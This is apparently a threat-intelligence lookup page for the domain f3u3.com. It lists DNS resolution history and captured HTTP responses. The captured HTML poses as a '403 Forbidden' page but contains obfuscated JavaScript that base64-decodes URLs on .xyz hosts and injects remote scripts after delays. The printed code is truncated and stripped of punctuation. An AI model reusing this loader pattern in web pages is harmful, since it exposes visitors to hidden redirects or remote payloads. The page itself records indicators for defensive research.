Domain > f3u3.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2020-09-23	104.24.102.228 (ClassC)
2020-09-23	104.24.103.228 (ClassC)
2020-09-23	172.67.164.186 (ClassC)
2021-01-16	104.21.50.179 (ClassC)
2022-11-23	23.225.196.242 (ClassC)
2023-10-27	91.195.240.12 (ClassC)
2023-12-18	23.225.148.74 (ClassC)
2024-01-26	23.225.148.77 (ClassC)
2024-02-02	23.225.140.74 (ClassC)
2024-02-17	23.225.140.75 (ClassC)
2024-08-30	23.226.177.130 (ClassC)
2025-08-31	23.225.43.84 (ClassC)
2026-01-08	23.225.43.11 (ClassC)

Port 80

HTTP/1.1 200 OKServer: nginx/1.22.1Date: Mon, 18 Dec 2023 20:50:52 GMTContent-Type: text/html; charsetUTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding

!DOCTYPE html>html>head>    title>403 Forbidden/title>    meta charsetutf-8>/head>body>    span idjump styledisplay:none;>no/span>script languagejavascript typetext/javascript>    function d(input){        rv  window.atob(input);        rv  escape(rv);        rv  decodeURIComponent(rv);        return rv;    }    var i  9;    var intervalid;    intervalid  setInterval(counter(), 1000);    function counter() {        i--;        if (i > 0) {            document.getElementById(mes).innerHTML  i;        }    }    function sleep (time) {      return new Promise((resolve) > setTimeout(resolve, time));    }sleep(2 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript;    s.async  true;    s.src  d(aHR0cDovL3piYnprLjU1NzU3Mi54eXovanMucGhwP2p1bXAmc2xlZXA9MQ);    // window.document.write(s.src + br>);    var x  document.getElementsByTagName(script)0;    x.parentNode.insertBefore(s, x);})();});sleep(3 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript;    s.async  true;    s.src  d(aHR0cDovL3N6bnF1LjY2MzU1OS54eXovanMucGhwP2p1bXAmc2xlZXA9MQ);    // window.document.write(s.src + br>);    var x  document.getElementsByTagName(script)0;    x.parentNode.insertBefore(s, x);})();});sleep(4 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript;    s.async  true;    s.src  d(aHR0cDovLzU3MjM5My54eXovanMucGhwP2p1bXAmc2xlZXA9MQ);    // window.document.write(s.src + br>);    var x  document.getElementsByTagName(script)0;    x.parentNode.insertBefore(s, x);})();});sleep(5 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript;    s.async  true;    s.src  d(aHR0cDovLzI0NzE3Ni54eXovanMucGhwP2p1bXAmc2xlZXA9MQ);    // window.document.write(s.src + br>);    var x  document.getElementsByTagName(script)0;    x.parentNode.insertBefore(s, x);})();});sleep(6 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript

Port 443

HTTP/1.1 200 OKServer: nginx/1.22.1Date: Mon, 18 Dec 2023 20:50:52 GMTContent-Type: text/html; charsetUTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding

!DOCTYPE html>html>head>    title>403 Forbidden/title>    meta charsetutf-8>/head>body>    span idjump styledisplay:none;>no/span>script languagejavascript typetext/javascript>    function d(input){        rv  window.atob(input);        rv  escape(rv);        rv  decodeURIComponent(rv);        return rv;    }    var i  9;    var intervalid;    intervalid  setInterval(counter(), 1000);    function counter() {        i--;        if (i > 0) {            document.getElementById(mes).innerHTML  i;        }    }    function sleep (time) {      return new Promise((resolve) > setTimeout(resolve, time));    }sleep(2 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript;    s.async  true;    s.src  d(aHR0cHM6Ly96YmJ6ay41NTc1NzIueHl6L2pzLnBocD9qdW1wJnNsZWVwPTE);    // window.document.write(s.src + br>);    var x  document.getElementsByTagName(script)0;    x.parentNode.insertBefore(s, x);})();});sleep(3 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript;    s.async  true;    s.src  d(aHR0cHM6Ly9zem5xdS42NjM1NTkueHl6L2pzLnBocD9qdW1wJnNsZWVwPTE);    // window.document.write(s.src + br>);    var x  document.getElementsByTagName(script)0;    x.parentNode.insertBefore(s, x);})();});sleep(4 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript;    s.async  true;    s.src  d(aHR0cHM6Ly81NzIzOTMueHl6L2pzLnBocD9qdW1wJnNsZWVwPTE);    // window.document.write(s.src + br>);    var x  document.getElementsByTagName(script)0;    x.parentNode.insertBefore(s, x);})();});sleep(5 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javascript;    s.async  true;    s.src  d(aHR0cHM6Ly8yNDcxNzYueHl6L2pzLnBocD9qdW1wJnNsZWVwPTE);    // window.document.write(s.src + br>);    var x  document.getElementsByTagName(script)0;    x.parentNode.insertBefore(s, x);})();});sleep(6 * 1000).then(() > {(function() {    var s  document.createElement(script);    s.type  text/javasc

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > f3u3.com

Is this malicious?

DNS Resolutions

Port 80

Port 443